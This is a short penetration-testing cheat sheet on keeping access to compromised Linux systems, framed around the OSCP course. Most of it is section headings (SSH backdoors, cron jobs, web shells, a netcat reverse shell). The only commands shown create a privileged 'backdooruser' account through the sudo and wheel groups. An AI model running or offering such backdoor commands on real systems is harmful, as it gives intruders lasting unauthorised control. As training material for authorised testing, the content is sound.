Persistence
This document outlines basic methods to maintain access to Linux systems during penetration testing engagements, focusing on techniques covered in the OSCP curriculum.
Table of Contents
User Account Manipulation
Creating New Users
# Add new user with root privileges
useradd -m -s /bin/bash backdooruser
usermod -aG sudo backdooruser
passwd backdooruser
# Add user to sudo group on Debian/Ubuntu systems
adduser backdooruser sudo
# Add user to wheel group on CentOS/RHEL systems
usermod -aG wheel backdooruserModifying Existing Users
SSH Backdoors
Authorized Keys
SSH Configuration Changes
Cron Jobs
Persistent Cron Jobs
Less Obvious Cron Jobs
Startup Scripts
RC Scripts
Bash Profile
Web Shells
PHP Web Shell
Simple Netcat Reverse Shell from Web
Python Web Shell
Additional Resources
Last updated